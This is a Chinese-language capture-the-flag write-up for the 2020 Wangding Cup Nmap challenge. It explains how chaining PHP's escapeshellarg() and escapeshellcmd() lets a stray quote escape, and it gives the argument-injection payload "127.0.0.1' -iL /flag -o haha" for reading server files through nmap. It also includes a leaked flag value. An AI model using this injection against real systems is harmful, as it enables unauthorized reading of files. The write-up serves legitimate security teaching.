[網鼎杯 2020 朱雀組]Nmap 1
這個題目主要考察的是nmap的常用命令和escapeshell函數
Nmap 相關參數
-iL 讀取文件內容,以文件內容作為搜索目標
-o 輸出到文件
舉例
nmap -iL ip_target.txt -o result.txt
掃描ip_target.txt內包含的ip地址,輸出掃描結果至result.txt
讀取文件結果
# Nmap 6.47 scan initiated Fri Dec 24 06:48:23 2021 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/a9950 -iL /flag -o 22' 127.0.0.1\
Failed to resolve "flag{c5e95c66-f441-496b-ac27-699ea43d5c32}".
WARNING: No targets were specified, so 0 hosts scanned.
# Nmap done at Fri Dec 24 06:48:23 2021 -- 0 IP addresses (0 hosts up) scanned in 0.11 seconds
會提示搜索內容失敗,然后會寫出來內容是啥,從而實現任意文件讀取。
escapeshell
分為excapeshellarg()和escapeshellcmd()兩個函數
escapeshellarg()
escapeshellarg — 把字符串轉碼為可以在 shell 命令里使用的參數,保證其作為參數的安全性。
用轉義符轉義所有單引號,然后用單引號包裹,如
123' aa
經過escapeshellarg,先轉義單引號
123\' aa
再用單引號包裹
123'\'' aa
最后,escapeshellarg會將整個字符串用單引號包裹,讓字符串變成這樣
'123'\'' aa'
escapeshellcmd()
escapeshellcmd - 把字符串中可能欺騙shell命令的字符轉義, 用以保證送到system函數或者exec函數的字符串是安全的。
可以看到,不光這些字符,轉義符本身還有落單的引號也會被轉義。
這個時候,我們把傳入escapeshellarg的字符串拿過來,在經過這個函數的處理。
'123'\'' aa'
轉義后
'123'\\'' aa\'
因為轉義符被轉義,最后的引號便落單,逃逸了出去。這個時候,被輸入的字符串不再被當成單個參數處理(不再有引號包裹), 即逃出了這兩個函數。
題目
看上去是會把我們的參數拼接入nmap命令。
我們構建字符串
127.0.0.1 -iL /flag -o haha
希望讀取位於根目錄的flag文件,然后存入結果到haha中。
報錯
看了別的師傅的WP發現經過了這兩個函數的過濾,換用payload
127.0.0.1' -iL /flag -o haha
仍報錯,但可以讀取haha文件
這里要注意,參數因為經過了escapeshellcmd函數,被包裹上了引號,所以我們實際輸出結果是輸出到了haha'文件中,多了一個引號,在這里也可以看到。